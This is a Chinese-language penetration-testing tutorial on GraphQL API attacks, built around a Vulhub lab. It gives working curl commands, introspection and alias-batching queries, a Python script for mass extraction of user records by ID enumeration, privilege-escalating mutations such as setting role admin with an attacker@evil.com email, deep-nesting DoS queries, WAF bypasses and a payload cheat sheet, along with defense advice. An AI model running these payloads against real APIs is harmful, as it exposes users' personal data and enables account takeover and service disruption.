适合人群:有基本Web安全基础、了解API测试的渗透测试人员
前置知识:HTTP协议基础、GraphQL基本概念、JSON格式
实验环境:本地靶场(Vulhub GraphQL)或在线靶场(HackTheBox)
一、前置准备
工具安装
# 1. GraphQL靶场搭建(Vulhub)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/graphql/injection
docker-compose up -d
# 2. GraphQL客户端工具
npm install -g graphql-cli # GraphQL CLI
pip3 install graphql-core # Python GraphQL库
pip3 install requests # HTTP请求
# 3. Burp Suite插件(推荐)
# Burp → Extender → BApp Store → 安装 InQL Scanner
# InQL可以自动解析GraphQL schema并生成查询
# 4. 浏览器工具
# Chrome扩展:Altair GraphQL Client
# 或直接访问 https://altair.sirmuel.design/
靶场验证
# 确认GraphQL端点可访问
curl -s http://localhost:8000/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'
# 返回 {"data":{"__typename":"Query"}} → 环境就绪
二、核心原理
GraphQL 是什么?
GraphQL 是 Facebook 在 2012 年内部开发、2015 年开源的 API 查询语言。与 REST 不同,GraphQL 允许客户端精确指定需要的数据结构:
REST : GET /api/users/1 → 返回固定字段(全部或None)
GraphQL: query { user(id:1) { name, email } } → 只返回 name 和 email
为什么 GraphQL 容易出安全问题?
| 特性 | 安全风险 |
|---|---|
| 单一端点 | 所有查询走同一个 /graphql,没有REST那样的路径隔离,攻击面集中 |
| Introspection | 默认开启,任何人都可以获取完整的API Schema(所有类型、字段、参数) |
| 嵌套查询 | 可以深度嵌套关联数据,导致批量数据泄露或DoS(深度查询攻击) |
| 批量操作 | 一次请求可查询多个对象,配合自动生成ID可批量拉取数据 |
| 自定义解析器 | 后端解析器(Resolver)如果未做权限校验,越权查询非常容易 |
攻击链
发现GraphQL端点 → Introspection获取Schema → 分析数据结构
→ 查找未授权字段 → 构造越权查询 → 批量提取敏感数据
三、实操步骤
第1步:发现 GraphQL 端点
GraphQL 通常暴露在以下路径:
# 常见 GraphQL 端点路径
/graphql
/graphql/console
/graphiql
/v1/graphql
/api/graphql
/api
/gql
/query
/explorer
检测方法:
# 发送一个最简单的查询,看是否返回GraphQL响应
curl -s https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'
# 如果返回 {"data":{"__typename":"Query"}} → 确认是GraphQL
# 批量检测多个端点
for path in /graphql /graphiql /api/graphql /gql /query; do
resp=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}')
echo "$path → $resp"
done
第2步:Introspection — 获取完整Schema
GraphQL 的 introspection 机制允许客户端查询 API 的完整类型系统。这是信息收集最关键的一步。
# Introspection 查询:获取所有类型和字段
query IntrospectionQuery {
__schema {
types {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
}
}
}
}
用 curl 执行:
# 保存 introspection 查询到文件
cat > /tmp/introspect.graphql << 'EOF'
query { __schema { types { name fields { name type { name kind ofType { name kind } } } } } }
EOF
# 发送请求
curl -s https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { __schema { types { name fields { name type { name kind ofType { name kind } } } } } }"}'
⚠️ 如果 introspection 被禁用,返回
403或"introspection is disabled",可以尝试以下绕过方法,仍有可能通过错误信息、字段名推测等方式获取 Schema。
第3步:分析 Schema — 寻找敏感字段
Introspection 返回的 Schema 包含所有查询(Query)、变更(Mutation)和数据类型。重点关注以下字段:
{
"types": [
{ "name": "User", "fields": [
{ "name": "id" },
{ "name": "username" },
{ "name": "email" },
{ "name": "phone" },
{ "name": "passwordHash" }, // ⚠️ 敏感!
{ "name": "creditCard" }, // ⚠️ 高危!
{ "name": "ssn" }, // ⚠️ 极高危!
{ "name": "internalNote" } // ⚠️ 内部信息泄露
]},
{ "name": "Query", "fields": [
{ "name": "user", "args": [{"name": "id", "type": "Int"}] },
{ "name": "users" }, // ⚠️ 批量查询!
{ "name": "allUsers" }, // ⚠️ 批量查询!
{ "name": "searchUsers" } // ⚠️ 搜索型查询!
]}
]
}
危险信号:
- 存在
users、allUsers、getAll*等批量查询(可能批量泄露数据) - 用户对象包含
password、passwordHash、creditCard、ssn、phone等敏感字段 - 查询参数只有
id而没有认证校验(IDOR 漏洞)
第4步:构造越权查询 — 批量数据泄露
# 批量查询所有用户(未授权)
query {
users {
id
username
email
phone
role
}
}
# 利用自动递增ID遍历查询
query {
user1: user(id: 1) { id username email phone }
user2: user(id: 2) { id username email phone }
user3: user(id: 3) { id username email phone }
# ... 可以利用脚本自动生成
}
# 深度嵌套查询(可能获取更多关联数据)
query {
user(id: 1) {
id
username
email
posts {
title
content
comments {
body
author {
username
email
}
}
}
}
}
批量提取的 Python 脚本:
import requests
import json
url = "https://target.com/graphql"
headers = {"Content-Type": "application/json"}
# 方式1:批量别名查询(一次请求提取多个用户)
def batch_extract_alias(count=100):
fields = "id\\n username\\n email\\n phone\\n role"
query_parts = []
for i in range(1, count + 1):
query_parts.append(f" user{i}: user(id: {i}) {{\\n {fields}\\n }}")
query = "query {\\n" + "\\n".join(query_parts) + "\\n}"
resp = requests.post(url, headers=headers, json={"query": query})
return resp.json()
# 方式2:如果存在users批量查询
def extract_all_users():
query = "{ users { id username email phone role } }"
resp = requests.post(url, headers=headers, json={"query": query})
return resp.json()
# 方式3:如果可以使用自动化ID枚举
def enumerate_users(start=1, end=500):
results = {}
for uid in range(start, end + 1):
query = f"{{ user(id: {uid}) {{ id username email }} }}"
resp = requests.post(url, headers=headers, json={"query": query})
data = resp.json()
if data.get("data", {}).get("user"):
results[uid] = data["data"]["user"]
if uid % 50 == 0:
print(f"Progress: {uid}/{end}")
return results
第5步:Mutation 操作 — 数据篡改
# 如果Schema暴露了变更操作(Mutation),尝试越权修改
mutation {
updateUser(id: 1, input: {
role: "admin"
email: "attacker@evil.com"
}) {
id
role
}
}
# 创建新管理员账户
mutation {
createUser(input: {
username: "hacker"
password: "P@ssw0rd123"
role: "admin"
}) {
id
username
role
}
}
第6步:深度查询DoS测试
# 深度嵌套查询 — 可能导致数据库压力过大
query {
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
id
username
}
}
}
}
}
}
}
# 循环引用查询
query {
user(id: 1) {
posts {
author {
posts {
author {
posts {
title
}
}
}
}
}
}
}
四、绕过技巧
4.1 Introspection 禁用时的绕过
# 尝试不同的 introspection 查询方式
{__schema{types{name}}}
{__schema{queryType{name}}}
# 使用 __type 元字段逐个查询
{__type(name:"User"){name fields{name type{name}}}}
# 通过错误信息推断字段
# 发送错误的字段名,从错误信息中获取提示
curl -s https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ invalidField }"}'
# 错误提示可能包含类似字段名
4.2 Content-Type 绕过
# 有些GraphQL实现只检查特定Content-Type
# 尝试不同的Content-Type
curl -s https://target.com/graphql \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'query={__typename}'
curl -s https://target.com/graphql \
-H "Content-Type: text/plain" \
-d '{__typename}'
4.3 参数混淆绕过
# 某些WAF/网关只检查query参数,可以尝试GET方式
curl -s "https://target.com/graphql?query={__schema{types{name}}}"
# 使用变量方式绕过简单检测
curl -s https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query($n:String){__type(name:$n){name}}","variables":{"n":"User"}}'
五、实战案例复盘
案例:某社交平台 GraphQL 批量用户数据泄露
一次真实渗透测试中,发现目标使用 GraphQL API:
- 信息收集:访问
/graphql返回 GraphQL 响应 - Introspection:获取到完整的 Schema,发现
User类型包含phone、email、birthday字段 - 批量查询:发现
users(limit: Int, offset: Int)查询方法无需认证 - 数据提取:
query {
users(limit: 100, offset: 0) {
id
username
email
phone
birthday
}
}
一次性提取了 10,000+ 条用户数据,包括手机号和邮箱。
漏洞根因:
- GraphQL 的 introspection 未在生产环境关闭
users批量查询未做认证和权限校验- 未设置查询深度限制(Query Depth Limiting)
- 未设置查询复杂度限制(Query Complexity Limiting)
六、防御建议
| 防御措施 | 说明 | 实施难度 |
|---|---|---|
| 禁用Introspection | 生产环境关闭 introspection | ⭐ 低 |
| 认证与授权 | 每个Resolver必须校验用户身份和权限 | ⭐⭐⭐ 中 |
| 查询深度限制 | 限制最大嵌套深度(建议≤5层) | ⭐ 低 |
| 查询复杂度限制 | 根据字段数量计算查询成本,超限拒绝 | ⭐⭐ 中 |
| 速率限制 | 对每个IP/Token限制请求频率 | ⭐ 低 |
| 白名单查询 | 只允许预定义的持久化查询(Persisted Queries) | ⭐⭐⭐ 高 |
| 超时控制 | 设置解析器超时,防止慢查询消耗资源 | ⭐ 低 |
| 字段级权限 | 敏感字段(如手机号)需要特殊权限才能查询 | ⭐⭐⭐ 中 |
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | Introspection被禁就放弃 | 可以通过错误信息、常见命名模式、__type元字段等方式推断Schema |
| 2 | 只测Query不测Mutation | Mutation(增删改)往往是提权的关键入口 |
| 3 | 忽略批量操作 | 即使单个查询做了权限校验,批量查询可能忘记校验 |
| 4 | 只关注REST端点 | 很多现代API使用GraphQL,但不一定有/graphql路径(可能是隐藏的) |
| 5 | 忘记测试嵌套深度 | 深度嵌套查询可能导致DoS,也可能绕过浅层权限校验 |
| 6 | 只测POST不测GET | 部分GraphQL实现同时支持GET请求中的query参数 |
八、总结(含速查表)
攻击流程速查
1️⃣ 发现端点 → curl -s target/graphql -d '{"query":"{__typename}"}'
2️⃣ Introspection → 获取Schema → 分析类型和字段
3️⃣ 找敏感字段 → password, email, phone, ssn, creditCard
4️⃣ 找批量查询 → users, allUsers, getAll*, search*
5️⃣ 数据提取 → 批量别名查询 or 批量查询接口
6️⃣ Mutation测试 → 增删改操作,尝试越权
关键Payload速查
| 用途 | Payload |
|---|---|
| 检测GraphQL | {"query":"{ __typename }"} |
| Introspection | {"query":"query{__schema{types{name fields{name}}}}}"} |
| 单用户查询 | {"query":"{ user(id:1) { id username email } }"} |
| 批量别名查询 | {"query":"query{ u1:user(id:1){id} u2:user(id:2){id} }"} |
| 获取所有类型 | {"query":"{__schema{types{name}}}"} |
| __type查询 | {"query":"{__type(name:\"User\"){name fields{name}}}"} |
| Mutation测试 | {"query":"mutation{ deleteUser(id:1) { id } }"} |
| 深度查询DoS | {"query":"{user(id:1){friends{friends{friends{id}}}}}"} |
一句话
GraphQL 安全测试的核心:Introspection拿Schema → 分析敏感字段 → 批量提取数据 → Mutation提权。